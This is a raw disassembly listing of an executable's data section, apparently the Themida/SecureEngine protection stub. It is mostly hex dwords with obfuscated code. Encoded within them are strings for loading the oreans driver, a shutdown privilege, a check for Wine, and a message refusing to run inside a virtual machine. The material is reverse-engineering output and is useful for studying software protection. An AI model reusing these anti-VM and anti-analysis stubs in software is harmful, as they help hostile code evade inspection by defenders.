		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	16Ah dup(0)
		db 2 dup(0)
word_577E4A	dw 0			; DATA XREF: Themida_:005559A8o
		dd 1F5h	dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E8000000h, 0Fh, 7D295D95h, 0EBD95F81h, 4BF17428h
		dd 97CB106h, 10299995h,	0C3815B06h, 5DF8h, 5899D89h, 95BA0610h
		dd 8128428Eh, 427735EAh, 6633FF28h, 588AA7BEh, 812EC580h
		dd 0C8F1BBC0h, 0F081F51Ah, 6FEA52Fh, 15FF6AB9h,	5C08115h
		dd 517C2863h, 283DBD8Bh, 505F0610h, 8B5BD33h, 38F0610h
		dd 0E498D89h, 0EB830610h, 71BD0904h, 4A061014h,	0FFB7850Fh
		dd 9589FFFFh
dword_57AE68	dd 6102AFDh, 10B7E9h, 56444100h, 33495041h, 4C442E32h
					; DATA XREF: Themida_:0054BDF0o
					; Themida_:0054CAF8o
		dd 704F004Ch, 43536E65h, 616E614Dh, 41726567h, 65724300h
		dd 53657461h, 69767265h, 416563h, 72617453h, 72655374h
		dd 65636976h, 65470041h, 74614E74h, 53657669h, 65747379h
		dd 666E496Dh, 704F006Fh, 65536E65h, 63697672h, 44004165h
		dd 74656C65h, 72655365h, 65636976h, 6F6C4300h, 65536573h
		dd 63697672h, 6E614865h, 656C64h, 746E6F43h, 536C6F72h
		dd 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 10h
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h
		db 4, 0
word_57BE82	dw 94h			; DATA XREF: Themida_:0054D2D8o
					; Themida_:0054DCF0o
		dd 50000h, 10000h, 0A280000h, 20000h, 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 0D981C48Bh
		dd 58841574h, 8498589h,	0BD8B0610h, 6100D8Dh, 5E8C08Bh
		dd 35000000h, 0FB609246h, 59CA8B66h, 158DBD83h,	75000610h
		dd 95BD8309h, 61000h, 53501974h, 3DB8C08Bh, 89000004h
		dd 100E6585h, 159D8D06h, 0FF0612B8h, 83585BD3h,	100095BDh
		dd 17740006h, 3DB85350h, 89000004h, 100E6585h, 49D8D06h
		dd 0FF0612B5h, 1585BD3h, 1005BD85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B33C57Fh
		dd 5E9C0h, 9F700000h, 8BB5D6D7h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 5E9923A2h
		dd 2D958B60h, 5706101Eh, 335D8D8Bh, 615F0610h, 83FABF0Fh
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 612B6B7h,	585BD3FFh, 95BD83h, 74000610h
		dd 0B8535011h, 0
		dd 0B5689D8Dh, 0D3FF0612h, 0F60585Bh, 138Ah, 0EE900h, 4FB70000h
		dd 4B546F15h, 798BFA5Bh, 0CBBECAE2h, 61FABF0Fh,	6840Fh
		dd 0BD8B0000h, 6100585h, 6660C08Bh, 8166DA8Bh, 6189C6CAh
		dd 0FC60C08Bh, 0D8ECBA66h, 0D68B6661h, 158DBD83h, 75000610h
		dd 95BD8309h, 61000h, 53501374h, 0B8C08Bh, 8D000000h, 12B5E99Dh
		dd 5BD3FF06h, 95BD8358h, 61000h, 53501174h, 0B8h, 369D8D00h
		dd 0FF0612B5h, 89585BD3h, 100BF1BDh, 0C1B50106h, 8B061008h
		dd 0E9C08BC8h, 9, 5EADFB32h, 0CCA0DC21h, 83C08B1Bh, 10158DBDh
		dd 9750006h, 95BD83h, 74000610h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 612B650h, 585BD3FFh,	95BD83h, 74000610h, 0B8535011h
		dd 0
		dd 0B54F9D8Dh, 0D3FF0612h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8D2B49C3h
		dd 6100DE1h, 21B19D89h,	9D890610h, 6102179h, 8960C08Bh
		dd 1008B1B5h, 58D8906h,	6106102Fh, 0E953C08Bh, 6, 87E86AA9h
		dd 835F5C46h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 612B582h, 585BD3FFh, 6ACF8Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 380D63C3h, 0C781575Ch, 0B98B6E5h, 859D315Ah,	29061009h
		dd 10218D9Dh, 0E9C08B06h, 7, 0FA7384BCh, 8BD51073h, 12C281C0h
		dd 830970B8h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535019h, 7D0B8C0h,	85890000h, 6100E65h, 0B8159D8Dh
		dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h,	7D0B853h
		dd 85890000h, 6100E65h,	0B5049D8Dh, 0D3FF0612h,	6A585Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 114D23C3h, 9589D78Bh, 61006F5h, 9D09C08Bh, 610168Dh
		dd 38F0Fh, 0B70F0000h, 0E585C6D0h, 53061023h, 0DE9h, 4AA79800h
		dd 46A30B33h, 9F296F60h, 90687716h, 6099395Fh, 0ADB58B60h
		dd 8B06102Dh, 820F61D6h, 6, 5858503h, 0FF610610h, 101499B5h
		dd 0C1B58906h, 8D061023h, 103A3285h, 35CE8006h,	8166D0FFh
		dd 894DA8CAh, 102DB985h, 0E585C606h, 57061023h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 25C35141h, 0A415E232h
		dd 520668F8h, 0BE99004h, 0AC000000h, 28FF18A2h,	25016518h
		dd 0B5FF3D87h, 6101499h, 30759589h, 858D0610h, 6103A32h
		dd 0C798501h, 0D0FF0610h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 3FC35141h, 5C36B1E0h,	11E8h, 0DCA48300h
		dd 0EF5BFE15h, 9585A06Bh, 89187CBEh, 0B9669F0Fh, 8959FF5Eh
		dd 10061585h, 0E585C606h, 43061023h, 12CDBD29h,	28680610h
		dd 0F9BC9070h, 1499B5FFh, 85310610h, 6100471h, 3A32858Dh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 8CEFE6C3h, 0C9040411h, 0D0FF13ABh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8BC35343h, 0C534E562h
		dd 0FFD125Ah, 482h, 0F1B96600h,	68A0F20h, 89000000h, 101C298Dh
		dd 0C9858906h, 6A06102Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0E673C350h,	89FCA532h
		dd 1023299Dh, 0E585C606h, 4C061023h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0C7C35646h,	0A9B52360h, 81061009h
		dd 7F54DEDBh, 68F96146h, 0D9DA1CE9h, 0DE8h, 0B7515600h
		dd 662F2F7h, 5F99C23Ah,	0B70FC6E1h, 0B5FF5FFAh,	6101499h
		dd 21A5B531h, 858D0610h, 6103A32h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0B8C35545h,	0FFD78B66h, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 4DB460Ch, 0C648F8B6h, 69958B3Eh, 8906100Ch, 1015DD85h
		dd 0F1958906h, 0C6061007h, 1023E585h, 6A4606h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0ED0C7DC3h, 19159589h, 0B5890610h, 6102D51h,	0DE061468h
		dd 0E58D8BBAh, 0FF061004h, 101499B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0A5408164h, 4104BC42h, 858DCA7Fh, 6103A32h, 3780B966h
		dd 5BEF8166h, 6AD0FF65h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B297C357h,	663704BAh
		dd 8589FE8Bh, 61018CDh,	2AE9BD8Bh, 85C60610h, 61023E5h
		dd 0F88B6647h, 0FB5E268h, 0FBB70F8Ah, 1499B5FFh, 0BF660610h
		dd 858DB646h, 6103A32h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0A3C35040h, 76F71B15h, 7D653C72h, 0DB88F281h
		dd 8D896A45h, 61016D1h,	8589D0FFh, 6100D85h, 1118D8Bh
		dd 958B0610h, 6101E31h,	23E585C6h, 0F470610h, 0F368C9BFh
		dd 6683D0B5h, 2D66C981h, 1499B5FFh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 97CD96C3h
		dd 1DBD8BCFh, 8906101Fh, 1011458Dh, 32858D06h, 0F506103Ah
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0DE525DC3h, 3D83130Eh, 2D5DB529h,	85890610h
		dd 6100801h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0CAC35040h, 0BF395B8h, 27B58D8Bh, 85C60610h, 61023E5h
		dd 6840F77h, 8B000000h,	10163595h, 0A8A36806h, 8B0FF397h
		dd 2, 0B5FFCB8Bh, 61020E5h, 8DF9BF0Fh, 103A3285h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 840FE257h, 1, 8BD0FFF8h, 100FE595h, 51858906h, 6A061002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9F53C357h, 77081090h, 2A058D8Bh, 85C60610h
		dd 61023E5h, 0FAF66847h, 6A8728h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 2662D2C3h, 0A9302B36h
		dd 894D599Bh, 10000D95h, 99B5FF06h, 23061014h, 1011A58Dh
		dd 32858D06h, 8006103Ah, 0D0FF23E2h, 0F4B86660h, 0BF57BB65h
		dd 89617087h, 10328185h, 85895106h, 6100E69h, 0E585C65Fh
		dd 43061023h, 20558D29h, 0CD800610h, 6EFC6890h,	5751BC8Eh
		dd 2215958Bh, 59590610h, 1499B5FFh, 8D8B0610h, 6101395h
		dd 3A32858Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 4BC67FC3h, 0E408279Dh, 0BE99Ah
		dd 1E100000h, 0C151AB7h, 0B3075985h, 81D0FF84h,	0D7CAE4F1h
		dd 0F185890Fh, 66061015h, 85C6FA8Bh, 61023E5h, 12E945h
		dd 1B4D0000h, 8D3F294Fh, 821A320Dh, 0DDB05D52h,	3E37F9A7h
		dd 72696968h, 99958B8Eh, 0FF061031h, 101499B5h,	8D5EB106h
		dd 103A3285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 66D0FF27h, 8589FE8Bh, 61009ADh, 137D8531h
		dd 85C60610h, 61023E5h,	75BD3144h, 66061011h, 68E2DCBAh
		dd 0B8F2EC64h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	21C35343h, 0E19C0929h, 0C06AF1E5h, 99B5FF06h, 6A061014h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B6FBC351h, 5B4B4C5h, 0EA819100h,	33DA4B20h
		dd 3A32858Dh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 11E907C3h, 31000000h, 0D33F409h
		dd 0A9BCFD88h, 0A8F470AFh, 5B822D09h, 0A2DF8166h, 6AD0FFD2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0AFCC352h, 89D2BF0Fh, 100A7185h, 8D896006h
		dd 6103349h, 54626CBAh,	85C6614Ch, 61023E5h, 45BD0143h
		dd 68061023h
		dd 0C0764AA7h, 99B5FFF8h, 0F5061014h, 3A32858Dh, 8B660610h
		dd 29D0FFD7h, 100A6DBDh, 21858906h, 6A061016h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 1213C357h, 0BD80711Ch, 61305F4h, 0B1840F00h,	29000000h
		dd 10082995h, 0D6858D06h, 89061305h, 101E319Dh,	0B5095006h
		dd 6102F7Dh, 6A016Ah, 3341958Bh, 8B500610h, 1014E595h
		dd 6A5A06h, 0FFFA8B66h,	102EC995h, 659D8906h, 89061005h
		dd 10308D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0E927E473h, 0F07B549h, 0FF6ACBB7h
		dd 1ECD8501h, 0B5FF0610h, 610308Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 7BC35646h, 0F9BCAD81h, 3A336AEh
		dd 1FA58D89h, 95FF0610h, 6100615h, 586EF781h, 95894EAEh
		dd 6100541h, 0C181C08Bh, 27D17FBDh, 158DBD83h, 75000610h
		dd 95BD8309h, 61000h, 53501974h, 0D1B8C08Bh, 89000007h
		dd 100E6585h, 159D8D06h, 0FF0612B8h, 83585BD3h,	100095BDh
		dd 17740006h, 0D1B85350h, 89000007h, 100E6585h,	49D8D06h
		dd 0FF0612B5h, 81585BD3h, 18C4A3D7h, 8B53B50Bh,	6AC08BD7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 2EC8C350h, 0B70F1C20h, 0E585C6C8h, 47061023h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AEC35242h
		dd 0F0ADBFCh, 68Ah, 0DD9D8900h,	31061004h, 1000F9B5h, 0F7C16806h
		dd 11E893C8h, 6000000h,	9A99E8Ch, 0E6A0B61Ch, 75461E11h
		dd 38396885h, 2A6DBD8Bh, 0FF590610h, 101499B5h,	0D19D8906h
		dd 8D061006h, 103A3285h, 0F1BD8906h, 0FF06100Dh, 0CFB70FD0h
		dd 51006A50h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0D15D0D26h, 0A17858Dh, 85310613h, 6101E6Dh
		dd 9400C7h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 2F3E87C3h, 1709120Eh, 8D8B0C5Ah
		dd 610208Dh, 11E18D29h,	8B580610h, 102171BDh, 17B58D06h
		dd 0F06130Ah, 687h, 0C9858900h,	56061030h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h, 4841D7B0h
		dd 0E9A324E9h, 13h, 0DECD67B9h,	362EE697h, 3B114D23h, 146424CCh
		dd 0FF84D877h, 0D1958BD0h, 8B06100Eh, 10149D95h, 17858D06h
		dd 8906130Ah, 1009F98Dh, 4788306h, 15850F06h, 8B000000h
		dd 102A19BDh, 0AB85C706h, 106130Ah, 0BA000000h,	2799B242h
		dd 32BDBD83h, 0F000610h, 4585h,	0D98D8900h, 83061009h
		dd 130AABBDh, 850F0006h, 32h, 1CD59D89h, 0BD830610h, 610116Dh
		dd 1F840F00h, 80000000h, 860F71E6h, 6, 0BB1952Bh, 85C70610h
		dd 610306Dh, 0
		dd 500CD181h, 8C661D16h, 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 51C6BA64h, 38B428BFh
		dd 0F6F55957h, 840F04C3h, 5F9h,	65ABA66h, 220985C7h, 610h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B2E6F3C3h, 16280DD3h, 0BF0F723Ah, 1BD80D7h
		dd 61306h, 1850Fh, 0C6F80000h, 1023E585h, 95894706h, 61005D1h
		dd 0E45B8668h, 8BF78AE3h, 1029B5BDh, 99B5FF06h,	89061014h
		dd 10313DBDh, 0D1958B06h, 8D06101Eh, 103A3285h,	0E5BA6606h
		dd 6AD0FF5Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 8701C352h, 0CA9BD8Bh, 8D8B0610h
		dd 61009DDh, 10468h, 0BF0F5300h, 9D8D5ACBh, 6103385h, 2359950Bh
		dd 85890610h, 61021C5h,	0CFB70F53h, 858DD0FFh, 6103385h
		dd 21CDB589h, 50F90610h, 6830Fh, 8D8B0000h, 6101915h, 5B3858Dh
		dd 13E90613h, 77000000h, 7399AED2h, 0C808EBF9h,	0BEF60D09h
		dd 4AB7C5Fh, 0F50E406h,	858DCFB7h, 612FC86h, 0E10EE281h
		dd 6A502D89h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 5159C356h, 25195FFh, 83F80610h
		dd 8D8B0CC4h, 6101B79h,	8068006Ah, 6A000000h, 6A006A03h
		dd 6800h, 858D8000h, 612FC86h, 0F195FF50h, 89061015h, 13059685h
		dd 0E585C606h, 47061023h, 0B15E8768h, 99B5FFC7h, 8D061014h
		dd 103A3285h, 6AD0FF06h, 96B5FF00h, 0FF061305h,	57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8B3B545Fh, 8B6660FEh, 61B589CBh, 61061029h, 37D03Dh
		dd 53830F00h, 0E9000000h, 0Eh, 8326690Ch, 98DFDC66h, 7C1F66C4h
		dd 0B5FFADEBh, 6130596h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0DEC35545h, 19D890Dh,	0FF061001h, 10162195h
		dd 89958B06h, 0E906102Eh, 153h,	295D958Bh, 0B5FF0610h
		dd 6130596h, 12E9h, 48B4B900h, 0E3DBC3E2h, 70A39D2Fh, 62D9B458h
		dd 0FFCA335Bh, 10162195h, 0D38B6606h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0CD950AC3h, 68D0F94h, 60000000h, 61605A57h, 60006A61h
		dd 0E38A57B2h, 0F006A61h, 0C8Eh, 68D0F00h, 33000000h, 10006195h
		dd 0FC006A06h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 135F7BC3h, 55A28302h, 81663B8Dh
		dd 6ACC74D9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0D4E4C2C7h, 6BB16FB8h, 0EE89F72h
		dd 7000000h, 16F884B3h,	4676F38Ah, 0A8C2231Dh, 19858937h
		dd 5F06100Bh, 59A858Dh,	50F90613h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0BAC35040h,	0E9B99998h, 0FF44E0B2h
		dd 1015F195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 9537D659h, 254A6968h, 0C9816692h
		dd 0F8838F44h, 7C850FFFh, 0F000001h, 68Eh, 499D2900h, 8D06102Eh
		dd 12C0A585h, 0AE906h, 995E0000h, 75D54383h, 0BA0C54D2h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dword_57D000	dd 190424h, 56460000h, 48B4B9C3h, 6ADBC3E2h, 59B58900h
					; DATA XREF: Themida_:0054C91Co
		dd 6A06100Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0D32AC3E3h, 5D8C5BE5h, 6890F51h
		dd 0F000000h, 8Ch, 6A5900h, 1C758589h, 6A0610h,	4B2FBF66h
		dd 8D8B006Ah, 6102E69h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FD354C3h, 584h, 0E9816600h
		dd 858DCB0Fh, 613059Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 58C35242h, 800FA536h,	0
		dd 501FD980h, 0C99D8960h, 6106101Ch, 15F195FFh,	6A0610h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 893019C3h, 102FBD95h, 0FFF88306h, 55850Fh, 8DF80000h
		dd 12FFA2B5h, 0FFBF0F06h, 0AB5E858Dh, 6A0612h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0CBF600C3h, 7040C6B2h, 9309C7BAh, 31B58938h,	0FF061005h
		dd 0D78B66D0h, 0C3B9006Ah, 0FF3DADD6h, 1009AD95h, 0AD8D8B06h
		dd 89061016h, 13059685h, 9BD0906h, 6A061028h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0ADD2643Ah, 165F30Fh, 1005119Dh, 8E858D06h, 0E9061305h
		dd 12h,	9B9EAED1h, 6DE361D4h, 9240181Dh, 516132EAh, 66506A28h
		dd 9529D78Bh, 61000D5h,	958B046Ah, 6100461h, 2955858Dh
		dd 8D030610h, 6102A8Dh,	56006A50h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 5800F8Fh, 0BA000000h
		dd 64F070A6h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0FF7DE7C3h, 30A050E7h, 8DD8D8Bh
		dd 6A0610h, 38A0Fh, 0BF0F0000h,	60016ACEh, 0B58BCF8Bh
		dd 6101E9Dh, 96B5FF61h,	89061305h, 10123DBDh, 7195FF06h
		dd 0E906100Ah, 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h
		dd 1BDBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 50CD1962h, 17ABAD36h, 8B66841Ch
		dd 0E9C08BD6h, 7, 77B88C68h, 837EE41Ch,	10158DBDh, 9750006h
		dd 95BD83h, 74000610h, 8B535019h, 7D2B8C0h, 85890000h
		dd 6100E65h, 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
		dd 50177400h, 7D2B853h,	85890000h, 6100E65h, 0B5049D8Dh
		dd 0D3FF0612h, 0B589585Bh, 6102885h, 3101BD89h,	0C08B0610h
		dd 0C7CA8B66h, 10220985h, 106h,	0B9BD8B00h, 68061011h
		dd 0CEE4E7B8h, 2E61B5FFh, 858D0610h, 6103A32h, 8589D0FFh
		dd 6100D5Dh, 7F2858Dh, 8D500613h, 130AAF85h, 1685006h
		dd 0FF800000h, 100D5D95h, 75C00B06h, 0FD85C70Ah, 106102Fh
		dd 68000000h, 0C005DBD4h, 2E61B5FFh, 858D0610h,	6103A32h
		dd 8589D0FFh, 6101451h,	0FA3F858Dh, 0FF500612h,	101499B5h
		dd 8595FF06h, 0B06100Dh, 8B0B74C0h, 0F2858DD8h,	50061309h
		dd 858DD3FFh, 61309F2h,	9388366h, 85C70A75h, 61022E5h
		dd 1, 328195FFh, 0FF250610h, 83000000h,	0A7305F8h, 1AD985C7h
		dd 10610h, 0F9560000h, 8D9D895Ah, 80061022h, 130601BDh
		dd 840F0006h, 11h, 0ABBD83F8h, 6130Ah, 10840Fh,	0B70F0000h
		dd 1A62E9F9h, 0D18B0000h, 0F59BD89h, 0BD830610h, 61022E5h
		dd 0FB850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 61FCC351h, 0FD6047Bh
		dd 0BF66FAB7h, 858D6CAAh, 61305CBh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C0C35242h,	0CBC26C0Fh, 8B92B60Eh
		dd 958950D1h, 61006D9h,	6AF9016Ah, 25858900h, 6A06100Fh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 8F0F22h,	0FF000000h, 102EC995h, 959D0106h
		dd 8906100Eh, 1305F585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0B88320DBh, 5C0BAE34h
		dd 13E9C0h, 0DD700000h,	17DC1EE7h, 2732A817h, 0DFF1A057h
		dd 0CADBBCC7h, 8BFF6A3Dh, 1031C1BDh, 0F5B5FF06h, 66061305h
